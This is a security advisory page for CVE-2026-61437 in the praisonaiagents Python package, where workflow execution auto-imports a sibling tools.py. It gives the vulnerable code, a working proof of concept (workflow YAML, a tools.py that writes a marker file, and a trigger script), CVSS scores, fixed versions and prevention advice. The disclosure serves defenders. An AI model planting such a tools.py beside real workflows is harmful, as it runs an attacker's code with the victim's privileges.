Skip to content

GHSA-4gfv-wg42-7jw5 CVE-2026-61437 PYSEC-2026-4267

PraisonAI: Unsafe Dynamic Module Loading Leads to Arbitrary Code Execution via tools.py in AgentFlow

High PyPI
Severity
8.5 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.20%
Chance of exploitation in the next 30 days. Higher than 9.50% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-693 Protection Mechanism Failure
CWE-829 Inclusion of Functionality from Untrusted Control Sphere
Fix
1.6.78
Upgrade praisonaiagents to this version or later

Description

Summary

An unsafe dynamic module loading vulnerability allows an attacker who can control a workflow file and a sibling tools.py to execute arbitrary Python code when the workflow is executed.

Details

The vulnerability is located in the workflow structured output resolution logic.

File: src/praisonai-agents/praisonaiagents/workflows/workflows.py

Method: AgentFlow._resolve_pydantic_class

if self.file_path:
    workflow_dir = Path(self.file_path).parent
    tools_path = workflow_dir / "tools.py"

    if tools_path.exists():
        spec = importlib.util.spec_from_file_location("tools", tools_path)
        tools_module = importlib.util.module_from_spec(spec)
        spec.loader.exec_module(tools_module)   # Arbitrary code execution

This code is reached during step execution when a step uses a string output_pydantic:

step_output_pydantic = getattr(step, '_output_pydantic', None)
if step_output_pydantic and isinstance(step_output_pydantic, str):
    resolved_class = self._resolve_pydantic_class(step_output_pydantic)

file_path is set automatically by:

  • WorkflowManager._load_workflow() (used by workspace discovery)
  • WorkflowManager.create_workflow()

It can also be set manually after load_yaml():

wf = mgr.load_yaml("workflow.yaml")
wf.file_path = "workflow.yaml"

The exec_module() call has no sandboxing and ignores the PRAISONAI_ALLOW_*_TOOLS environment variables used elsewhere in the project.

PoC

Create the following two files in the same directory:

/tmp/attack/attack.yaml

name: AttackWorkflow
steps:
  - name: generate
    action: "Produce structured output"
    output_pydantic: MaliciousModel

/tmp/attack/tools.py

print("[RCE] Arbitrary code executed from tools.py")

import os
with open("/tmp/rce_success.txt", "w") as f:
    f.write(f"RCE executed by PID {os.getpid()}")

class MaliciousModel:
    @classmethod
    def model_json_schema(cls):
        return {"type": "object"}

Run the following Python code (adjust the path to your PraisonAI source):

import sys
sys.path.insert(0, "/home/user/praisonai/src/praisonai-agents")

from praisonaiagents.workflows import WorkflowManager
from praisonaiagents.agent.agent import Agent

mgr = WorkflowManager()
wf = mgr.load_yaml("/tmp/attack/attack.yaml")

wf.file_path = "/tmp/attack/attack.yaml"

for step in wf.steps:
    step.output_pydantic = "MaliciousModel"
    step._output_pydantic = "MaliciousModel"
    if not getattr(step, "agent", None):
        step.agent = Agent(
            name="researcher",
            role="Researcher",
            goal="Generate output",
            instructions="Return structured data"
        )

wf.start("trigger")

Impact

Type: Execution of Untrusted Local Code via Unsafe Dynamic Module Loading.

Affected users include:

  • Users of WorkflowManager(workspace_path=...), where workflow discovery automatically sets file_path.
  • Users of WorkflowManager.create_workflow().
  • Applications that load workflows from repositories, templates, shared workflow collections, CI/CD artifacts, or other directories that may contain untrusted files.

During workflow execution, a string output_pydantic reference causes the framework to automatically locate, import, and execute a sibling tools.py file.

As a result, code contained in tools.py executes with the privileges of the workflow runner without requiring an explicit import or user approval step.

Successful exploitation results in arbitrary Python code execution within the workflow process. An attacker may be able to read local files, access secrets available to the process, modify workflow behavior, perform network operations, or execute additional system commands.

This behavior also bypasses the PRAISONAI_ALLOW_TEMPLATE_TOOLS / PRAISONAI_ALLOW_LOCAL_TOOLS protections used elsewhere in the project, allowing code execution through a separate workflow-resolution path.

Affected versions

PyPI

PackageVulnerableFixed in
praisonaiagents
< 1.6.78
1.6.78

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

praisonaiagents PyPI → 1.6.78

pip
pip install --upgrade "praisonaiagents>=1.6.78"
poetry
poetry add "praisonaiagents>=1.6.78"
uv
uv add "praisonaiagents>=1.6.78"

Severity breakdown

CVSS 4.0 8.5

CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack vector
Local
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
Passive
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
High
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None
Exploit maturity
Not defined
Scope
X

CVSS 3.1 7.8

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-693: Protection Mechanism Failure

The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.

CWE-829: Inclusion of Functionality from Untrusted Control Sphere

The product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere.

How to prevent it
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
  • Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
  • Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-gxmw-5f7x-6g22
praisonaiagents vulnerable to arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` — path traversal to any writable location
High Also affects praisonaiagents
GHSA-cfxv-8fw8-rwpv
praisonaiagents: ast_grep_rewrite rewrites arbitrary files without the @require_approval gate enforced on every sibling mutation tool
Medium Also affects praisonaiagents
GHSA-x44h-65qv-cw74
praisonaiagents has an SSRF protection bypass in `spider_tools._host_is_blocked()` via DNS-resolved hostnames (`127.0.0.1.nip.io`)
High Also affects praisonaiagents
GHSA-7g3p-92qq-8wvh
praisonaiagents: AgentServer declares auth_token but never enforces it on any route
High Also affects praisonaiagents
GHSA-5r34-2g38-6569
praisonaiagents web_crawl vulnerable to SSRF via redirect-following
High Also affects praisonaiagents
GHSA-vg6p-v9vm-6fgj
praisonaiagents vulnerable to SSRF in web_crawl tool via redirect-following and DNS rebinding (validate-then-fetch gap)
High Also affects praisonaiagents
GHSA-8hjw-25cg-g52h
praisonaiagents has a `web_crawl` SSRF protection bypass via unchecked redirect targets
High Also affects praisonaiagents
GHSA-hxmv-c4g6-5fqc
PraisonAI workflow include bypasses tools.py autoload opt-in and executes included recipe code
High Also affects praisonaiagents
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor